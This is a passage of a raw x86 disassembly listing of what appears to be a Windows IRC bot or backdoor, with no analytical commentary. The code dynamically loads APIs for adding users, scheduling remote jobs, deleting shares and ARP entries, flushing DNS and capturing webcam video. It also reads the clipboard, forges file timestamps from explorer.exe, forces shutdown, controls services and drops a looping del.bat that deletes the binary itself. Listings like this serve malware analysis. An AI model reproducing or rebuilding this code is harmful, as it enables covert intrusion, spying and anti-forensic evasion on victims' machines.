edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_43A3A4, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_43A3C0, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_43A4C4, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_43A368, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_43A3F8, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov dword_43A32C, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_43A388, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_43A48C, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_43A39C, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_43A3A8, eax call esi ; GetProcAddress cmp dword_43A3A4, ebx mov dword_43A3D0, eax jz short loc_406C58 cmp dword_43A3C0, ebx jz short loc_406C58 cmp dword_43A4C4, ebx jz short loc_406C58 cmp dword_43A368, ebx jz short loc_406C58 cmp dword_43A3F8, ebx jz short loc_406C58 cmp dword_43A32C, ebx jz short loc_406C58 cmp dword_43A388, ebx jz short loc_406C58 cmp dword_43A48C, ebx jz short loc_406C58 cmp dword_43A39C, ebx jz short loc_406C58 cmp dword_43A3A8, ebx jz short loc_406C58 cmp eax, ebx jnz short loc_406C62 jmp short loc_406C58 ; --------------------------------------------------------------------------- loc_406C4D: ; CODE XREF: sub_406217+94Bj call dword_422008 ; RtlGetLastWin32Error mov dword_43A554, eax loc_406C58: ; CODE XREF: sub_406217+9E6j ; sub_406217+9EEj ... mov dword_43A550, 1 loc_406C62: ; CODE XREF: sub_406217+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_406C97 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_43A4A8, eax call esi ; GetProcAddress cmp dword_43A4A8, ebx mov dword_43A424, eax jz short loc_406CA2 cmp eax, ebx jnz short loc_406CAC jmp short loc_406CA2 ; --------------------------------------------------------------------------- loc_406C97: ; CODE XREF: sub_406217+A56j call dword_422008 ; RtlGetLastWin32Error mov dword_43A55C, eax loc_406CA2: ; CODE XREF: sub_406217+A78j ; sub_406217+A7Ej mov dword_43A558, 1 loc_406CAC: ; CODE XREF: sub_406217+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_406CE1 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_43A3C8, eax call esi ; GetProcAddress cmp dword_43A3C8, ebx mov dword_43A42C, eax jz short loc_406CEC cmp eax, ebx jnz short loc_406CF6 jmp short loc_406CEC ; --------------------------------------------------------------------------- loc_406CE1: ; CODE XREF: sub_406217+AA0j call dword_422008 ; RtlGetLastWin32Error mov dword_43A564, eax loc_406CEC: ; CODE XREF: sub_406217+AC2j ; sub_406217+AC8j mov dword_43A560, 1 loc_406CF6: ; CODE XREF: sub_406217+AC6j push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_406D55 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_43A464, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_43A4F8, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_43A398, eax call esi ; GetProcAddress cmp dword_43A464, ebx mov dword_43A350, eax jz short loc_406D60 cmp dword_43A4F8, ebx jz short loc_406D60 cmp dword_43A398, ebx jz short loc_406D60 cmp eax, ebx jnz short loc_406D6A jmp short loc_406D60 ; --------------------------------------------------------------------------- loc_406D55: ; CODE XREF: sub_406217+AEAj call dword_422008 ; RtlGetLastWin32Error mov dword_43A56C, eax loc_406D60: ; CODE XREF: sub_406217+B26j ; sub_406217+B2Ej ... mov dword_43A568, 1 loc_406D6A: ; CODE XREF: sub_406217+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_406D9F push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_43A4CC, eax call esi ; GetProcAddress cmp dword_43A4CC, ebx mov dword_43A390, eax jz short loc_406DAA cmp eax, ebx jnz short loc_406DB4 jmp short loc_406DAA ; --------------------------------------------------------------------------- loc_406D9F: ; CODE XREF: sub_406217+B5Ej call dword_422008 ; RtlGetLastWin32Error mov dword_43A574, eax loc_406DAA: ; CODE XREF: sub_406217+B80j ; sub_406217+B86j mov dword_43A570, 1 loc_406DB4: ; CODE XREF: sub_406217+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_406E3D push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_43A4B0, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_43A374, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_43A4C8, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_43A3E0, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_43A474, eax call esi ; GetProcAddress cmp dword_43A4B0, ebx mov dword_43A384, eax jz short loc_406E48 cmp dword_43A374, ebx jz short loc_406E48 cmp dword_43A4C8, ebx jz short loc_406E48 cmp dword_43A3E0, ebx jz short loc_406E48 cmp dword_43A474, ebx jz short loc_406E48 cmp eax, ebx jnz short loc_406E52 jmp short loc_406E48 ; --------------------------------------------------------------------------- loc_406E3D: ; CODE XREF: sub_406217+BA8j call dword_422008 ; RtlGetLastWin32Error mov dword_43A57C, eax loc_406E48: ; CODE XREF: sub_406217+BFEj ; sub_406217+C06j ... mov dword_43A578, 1 loc_406E52: ; CODE XREF: sub_406217+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_406E87 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; GetProcAddress push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_43A3F0, eax call esi ; GetProcAddress cmp dword_43A3F0, ebx mov dword_43A454, eax jz short loc_406E92 cmp eax, ebx jnz short loc_406E9C jmp short loc_406E92 ; --------------------------------------------------------------------------- loc_406E87: ; CODE XREF: sub_406217+C46j call dword_422008 ; RtlGetLastWin32Error mov dword_43A584, eax loc_406E92: ; CODE XREF: sub_406217+C68j ; sub_406217+C6Ej mov dword_43A580, 1 loc_406E9C: ; CODE XREF: sub_406217+C6Cj pop edi pop esi xor eax, eax pop ebp inc eax pop ebx retn sub_406217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406EA4 proc near ; CODE XREF: sub_409848+4CB2p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_43A518, esi push edi mov edi, [ebp+arg_8] jz short loc_406EEC push dword_43A51C lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_416975 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_405D62 add esp, 20h loc_406EEC: ; CODE XREF: sub_406EA4+1Aj cmp dword_43A520, esi jz short loc_406F20 push dword_43A524 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_416975 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_405D62 add esp, 20h loc_406F20: ; CODE XREF: sub_406EA4+4Ej cmp dword_43A528, esi jz short loc_406F54 push dword_43A52C lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_416975 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_405D62 add esp, 20h loc_406F54: ; CODE XREF: sub_406EA4+82j cmp dword_43A530, esi jz short loc_406F88 push dword_43A534 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_416975 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_405D62 add esp, 20h loc_406F88: ; CODE XREF: sub_406EA4+B6j cmp dword_43A538, esi jz short loc_406FBC push dword_43A53C lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_416975 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_405D62 add esp, 20h loc_406FBC: ; CODE XREF: sub_406EA4+EAj cmp dword_43A540, esi jz short loc_406FF0 push dword_43A544 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_416975 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_405D62 add esp, 20h loc_406FF0: ; CODE XREF: sub_406EA4+11Ej cmp dword_43A548, esi jz short loc_407024 push dword_43A54C lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_416975 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_405D62 add esp, 20h loc_407024: ; CODE XREF: sub_406EA4+152j cmp dword_43A550, esi jz short loc_407058 push dword_43A554 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_416975 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_405D62 add esp, 20h loc_407058: ; CODE XREF: sub_406EA4+186j cmp dword_43A558, esi jz short loc_40708C push dword_43A55C lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_416975 push esi push edi loc_407079: ; DATA XREF: .text:00431824o ; .text:00431838o ... lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_405D62 add esp, 20h loc_40708C: ; CODE XREF: sub_406EA4+1BAj cmp dword_43A560, esi jz short loc_4070C0 push dword_43A564 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_416975 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_405D62 add esp, 20h loc_4070C0: ; CODE XREF: sub_406EA4+1EEj cmp dword_43A568, esi jz short loc_4070F4 push dword_43A56C lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_416975 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_405D62 add esp, 20h loc_4070F4: ; CODE XREF: sub_406EA4+222j cmp dword_43A570, esi jz short loc_407128 push dword_43A574 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_416975 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_405D62 add esp, 20h loc_407128: ; CODE XREF: sub_406EA4+256j cmp dword_43A578, esi jz short loc_40715C push dword_43A57C lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_416975 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_405D62 add esp, 20h loc_40715C: ; CODE XREF: sub_406EA4+28Aj cmp dword_43A580, esi jz short loc_407190 push dword_43A584 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_416975 push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_405D62 add esp, 20h loc_407190: ; CODE XREF: sub_406EA4+2BEj lea eax, [ebp+var_200] push offset aMainDllTestCom ; "[MAIN]: DLL test complete." push eax call sub_416975 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_4071BD push esi push edi lea eax, [ebp+var_200] push eax push ebx push [ebp+arg_0] call sub_405D62 add esp, 14h loc_4071BD: ; CODE XREF: sub_406EA4+302j lea eax, [ebp+var_200] push eax call sub_401F0F pop ecx pop edi pop esi pop ebx leave retn sub_406EA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4071CF proc near ; CODE XREF: sub_409848+A61p ; sub_409848+A94p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz loc_4072A6 mov eax, [ebp+arg_4] cmp eax, esi jz loc_4072A6 cmp [ebp+arg_8], esi jz loc_4072A6 cmp byte ptr [eax], 0 jz loc_4072A6 push ebx push edi call sub_4218F7 mov ebx, eax test ebx, ebx pop ecx jz loc_4072A1 push [ebp+arg_4] push edi call sub_417440 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_40729A sub eax, edi push eax push edi push ebx call sub_416A00 mov eax, ebx sub eax, edi add esp, 0Ch and byte ptr [eax+esi], 0 mov eax, [ebp+arg_8] lea ecx, [eax+1] loc_40723C: ; CODE XREF: sub_4071CF+72j mov dl, [eax] inc eax test dl, dl jnz short loc_40723C sub eax, ecx push eax push [ebp+arg_8] push ebx call sub_416840 mov eax, [ebp+arg_4] add esp, 0Ch lea ecx, [eax+1] loc_407258: ; CODE XREF: sub_4071CF+8Ej mov dl, [eax] inc eax test dl, dl jnz short loc_407258 sub eax, ecx add eax, esi mov esi, eax loc_407265: ; CODE XREF: sub_4071CF+9Bj mov cl, [eax] inc eax test cl, cl jnz short loc_407265 mov edi, ebx sub eax, esi dec edi loc_407271: ; CODE XREF: sub_4071CF+A8j mov cl, [edi+1] inc edi test cl, cl jnz short loc_407271 mov ecx, eax shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov esi, [ebp+arg_0] mov edx, esi mov eax, ebx sub edx, ebx loc_407290: ; CODE XREF: sub_4071CF+C9j mov cl, [eax] mov [edx+eax], cl inc eax test cl, cl jnz short loc_407290 loc_40729A: ; CODE XREF: sub_4071CF+50j push ebx call sub_416D07 pop ecx loc_4072A1: ; CODE XREF: sub_4071CF+3Bj mov eax, esi pop ebx jmp short loc_4072A8 ; --------------------------------------------------------------------------- loc_4072A6: ; CODE XREF: sub_4071CF+Cj ; sub_4071CF+17j ... xor eax, eax loc_4072A8: ; CODE XREF: sub_4071CF+D5j pop edi pop esi pop ebp retn sub_4071CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4072AC proc near ; CODE XREF: sub_40946D+C2p var_7D0 = dword ptr -7D0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push edi xor eax, eax mov ecx, 1F4h lea edi, [ebp+var_7D0] rep stosd mov ecx, [ebp+arg_0] mov eax, ecx lea esi, [eax+1] loc_4072CF: ; CODE XREF: sub_4072AC+28j mov dl, [eax] inc eax test dl, dl jnz short loc_4072CF sub eax, esi xor ebx, ebx mov edi, eax inc ebx cmp edi, ebx jge short loc_4072E6 or eax, 0FFFFFFFFh jmp short loc_407346 ; --------------------------------------------------------------------------- loc_4072E6: ; CODE XREF: sub_4072AC+33j xor edx, edx test edi, edi mov [ebp+var_7D0], ecx jle short loc_407306 loc_4072F2: ; CODE XREF: sub_4072AC+58j mov al, [edx+ecx] cmp al, 0Ah jz short loc_4072FD cmp al, 0Dh jnz short loc_407301 loc_4072FD: ; CODE XREF: sub_4072AC+4Bj and byte ptr [edx+ecx], 0 loc_407301: ; CODE XREF: sub_4072AC+4Fj inc edx cmp edx, edi jl short loc_4072F2 loc_407306: ; CODE XREF: sub_4072AC+44j xor esi, esi test edi, edi jle short loc_407330 loc_40730C: ; CODE XREF: sub_4072AC+82j cmp byte ptr [esi+ecx], 0 jnz short loc_40732B lea edx, [esi+ecx+1] cmp byte ptr [edx], 0 jz short loc_40732B cmp ebx, 1F4h jge short loc_407330 mov [ebp+ebx*4+var_7D0], edx inc ebx loc_40732B: ; CODE XREF: sub_4072AC+64j ; sub_4072AC+6Dj inc esi cmp esi, edi jl short loc_40730C loc_407330: ; CODE XREF: sub_4072AC+5Ej ; sub_4072AC+75j mov edi, [ebp+arg_4] test edi, edi jz short loc_407344 mov ecx, 1F4h lea esi, [ebp+var_7D0] rep movsd loc_407344: ; CODE XREF: sub_4072AC+89j mov eax, ebx loc_407346: ; CODE XREF: sub_4072AC+38j pop edi pop esi pop ebx leave retn sub_4072AC endp ; =============== S U B R O U T I N E ======================================= sub_40734B proc near ; CODE XREF: sub_4076F9+26p ; sub_407736+79p arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_4179CA cmp al, 61h pop ecx jl short loc_407366 cmp al, 7Ah jg short loc_407366 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_407366: ; CODE XREF: sub_40734B+Ej ; sub_40734B+12j xor eax, eax retn sub_40734B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407369 proc near ; CODE XREF: sub_409848+30C6p ; sub_409848+3F6Fp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call dword_422008 ; RtlGetLastWin32Error push 0 push 100h mov esi, eax lea eax, [ebp+var_100] push eax push 400h push esi push 0 push 1200h call dword_4220A8 ; FormatMessageA lea eax, [ebp+var_100] loc_4073A2: ; CODE XREF: sub_407369+46j mov cl, [eax] cmp cl, 1Fh jg short loc_4073AE cmp cl, 9 jnz short loc_4073B1 loc_4073AE: ; CODE XREF: sub_407369+3Ej inc eax jmp short loc_4073A2 ; --------------------------------------------------------------------------- loc_4073B1: ; CODE XREF: sub_407369+43j ; sub_407369+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4073CB mov cl, [eax] cmp cl, 2Eh jz short loc_4073B1 cmp cl, 21h jl short loc_4073B1 loc_4073CB: ; CODE XREF: sub_407369+54j push esi lea eax, [ebp+var_100] push eax push [ebp+arg_0] mov esi, offset dword_43A588 push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_416BCD add esp, 18h mov eax, esi pop esi leave retn sub_407369 endp ; =============== S U B R O U T I N E ======================================= sub_4073F3 proc near ; CODE XREF: sub_409848+4C46p push esi push 0 call dword_43A35C ; OpenClipboard test eax, eax jz short loc_40742A push 1 call dword_43A4F4 ; GetClipboardData mov esi, eax test esi, esi jz short loc_40742A push edi push esi call dword_4220B0 ; GlobalLock push esi mov edi, eax call dword_4220AC ; GlobalUnlock call dword_43A340 ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40742A: ; CODE XREF: sub_4073F3+Bj ; sub_4073F3+19j xor eax, eax pop esi retn sub_4073F3 endp ; =============== S U B R O U T I N E ======================================= sub_40742E proc near ; CODE XREF: sub_409848+3DDDp arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi push esi mov edi, offset aMirc_0 ; "mIRC" push edi call dword_43A418 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_4074AA push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call dword_4220BC ; CreateFileMappingA push esi push esi push esi mov edi, eax push 0F001Fh push edi call dword_4220B8 ; MapViewOfFile push [esp+10h+arg_0] mov ebx, eax push ebx call sub_416975 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_43A484 ; SendMessageA push esi push 1 push 4C9h push ebp call dword_43A484 ; SendMessageA push ebx call dword_4220B4 ; UnmapViewOfFile push edi call dword_42202C ; CloseHandle xor eax, eax inc eax pop ebx jmp short loc_4074AC ; --------------------------------------------------------------------------- loc_4074AA: ; CODE XREF: sub_40742E+16j xor eax, eax loc_4074AC: ; CODE XREF: sub_40742E+7Aj pop edi pop esi pop ebp retn sub_40742E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4074B0 proc near ; CODE XREF: sub_40FB4C+21Ep var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push esi xor esi, esi push esi lea eax, [ebp+var_11C] push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_43A3DC ; SearchPathA test eax, eax jz short loc_407551 push ebx push edi push esi mov edi, 80h push edi push 3 push esi mov esi, dword_422034 push 1 push 80000000h lea eax, [ebp+var_11C] push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40754F lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call dword_4220C4 ; GetFileTime push ebx mov ebx, dword_42202C call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40754F lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call dword_4220C0 ; SetFileTime push esi call ebx ; CloseHandle loc_40754F: ; CODE XREF: sub_4074B0+51j ; sub_4074B0+87j pop edi pop ebx loc_407551: ; CODE XREF: sub_4074B0+28j pop esi leave retn sub_4074B0 endp ; =============== S U B R O U T I N E ======================================= sub_407554 proc near ; CODE XREF: sub_409848+117Ap push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_408CDE pop ecx pop ecx push 50005h push 6 call dword_43A45C ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_407554 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407576 proc near ; CODE XREF: sub_402C71+495p ; sub_409848+4EF9p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push ebx xor ebx, ebx cmp dword_42FCD0, ebx push esi jz short loc_40759A cmp dword_43A528, ebx jnz short loc_40759A push ebx call sub_40214F pop ecx loc_40759A: ; CODE XREF: sub_407576+13j ; sub_407576+1Bj lea eax, [ebp+var_764] push eax push 400h call dword_4220D0 ; GetTempPathA lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_416975 add esp, 0Ch push ebx push ebx push 2 push ebx push ebx push 40000000h lea eax, [ebp+var_260] push eax call dword_422034 ; CreateFileA mov esi, eax cmp esi, ebx jbe loc_4076F5 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_416975 lea eax, [ebp+var_764] add esp, 0Ch lea edx, [eax+1] loc_40760D: ; CODE XREF: sub_407576+9Cj mov cl, [eax] inc eax cmp cl, bl jnz short loc_40760D push edi push ebx lea ecx, [ebp+var_4] push ecx sub eax, edx push eax lea eax, [ebp+var_764] push eax push esi call dword_422030 ; WriteFile push esi call dword_42202C ; CloseHandle xor eax, eax lea edi, [ebp+var_14] stosd stosd stosd push 11h stosd pop ecx xor eax, eax lea edi, [ebp+var_58] rep stosd mov esi, 104h push esi lea eax, [ebp+var_15C] push eax push ebx mov [ebp+var_4C], 422B02h mov [ebp+var_58], 44h mov [ebp+var_2C], 1 mov [ebp+var_28], bx call dword_4220A4 ; GetModuleHandleA push eax call dword_422010 ; GetModuleFileNameA lea eax, [ebp+var_15C] push eax call dword_4220A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh pop edi jz short loc_40769E push 80h lea eax, [ebp+var_15C] push eax call dword_4220CC ; SetFileAttributesA loc_40769E: ; CODE XREF: sub_407576+114j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_416975 add esp, 10h push esi lea eax, [ebp+var_364] push eax lea eax, [ebp+var_764] push eax call dword_4220C8 ; ExpandEnvironmentStringsA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push ebx push ebx push 4010h push ebx push ebx push ebx lea eax, [ebp+var_364] push eax push ebx call dword_422044 ; CreateProcessA loc_4076F5: ; CODE XREF: sub_407576+6Dj pop esi pop ebx leave retn sub_407576 endp ; =============== S U B R O U T I N E ======================================= sub_4076F9 proc near ; CODE XREF: sub_407736+41p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h rep stosd lea edi, [eax-1] xor esi, esi test edi, edi jl short loc_407733 push ebx mov ebx, edi loc_407716: ; CODE XREF: sub_4076F9+37j mov eax, [esp+0Ch+arg_0] movsx eax, byte ptr [esi+eax] push eax call sub_40734B pop ecx mov ecx, [esp+0Ch+arg_8] inc esi mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_407716 pop ebx loc_407733: ; CODE XREF: sub_4076F9+18j pop edi pop esi retn sub_4076F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407736 proc near ; CODE XREF: sub_401FEF+10p ; sub_402021+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_416B90 mov eax, [ebp+arg_0] lea edx, [eax+1] loc_407749: ; CODE XREF: sub_407736+18j mov cl, [eax] inc eax test cl, cl jnz short loc_407749 sub eax, edx mov [ebp+var_4], eax mov eax, [ebp+arg_4] lea ecx, [eax+1] loc_40775B: ; CODE XREF: sub_407736+2Aj mov dl, [eax] inc eax test dl, dl jnz short loc_40775B push ebx push esi sub eax, ecx mov esi, eax push edi lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_4076F9 add esp, 0Ch dec esi mov edi, esi jmp short loc_4077F8 ; --------------------------------------------------------------------------- loc_407784: ; CODE XREF: sub_407736+C4j mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_4179CA mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_4179CA cmp eax, ebx pop ecx pop ecx jz short loc_4077F6 loc_4077A6: ; CODE XREF: sub_407736+BEj mov ebx, [ebp+arg_0] xor eax, eax mov al, [edi+ebx] push eax call sub_40734B mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_4077C9 mov eax, ecx loc_4077C9: ; CODE XREF: sub_407736+8Fj add edi, eax cmp edi, [ebp+var_4] jge short loc_407806 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_4179CA movsx ecx, byte ptr [edi+ebx] push ecx mov [ebp+var_8], eax call sub_4179CA pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4077A6 loc_4077F6: ; CODE XREF: sub_407736+6Ej dec edi dec esi loc_4077F8: ; CODE XREF: sub_407736+4Cj test esi, esi jg short loc_407784 mov eax, [ebp+arg_0] add eax, edi loc_407801: ; CODE XREF: sub_407736+D2j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_407806: ; CODE XREF: sub_407736+98j xor eax, eax jmp short loc_407801 sub_407736 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40780A proc near ; CODE XREF: sub_4082EB+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi push 0F003Fh xor ebx, ebx push ebx push ebx call dword_43A480 ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_407831 call dword_422008 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_4078A6 ; --------------------------------------------------------------------------- loc_407831: ; CODE XREF: sub_40780A+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_43A500 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_407851 call dword_422008 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_40789E ; --------------------------------------------------------------------------- loc_407851: ; CODE XREF: sub_40780A+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_407884 cmp eax, 3 jz short loc_407875 jle short loc_407897 cmp eax, 6 jg short loc_407897 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_43A4A4 ; ControlService jmp short loc_40788B ; --------------------------------------------------------------------------- loc_407875: ; CODE XREF: sub_40780A+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_43A488 ; StartServiceA jmp short loc_40788B ; 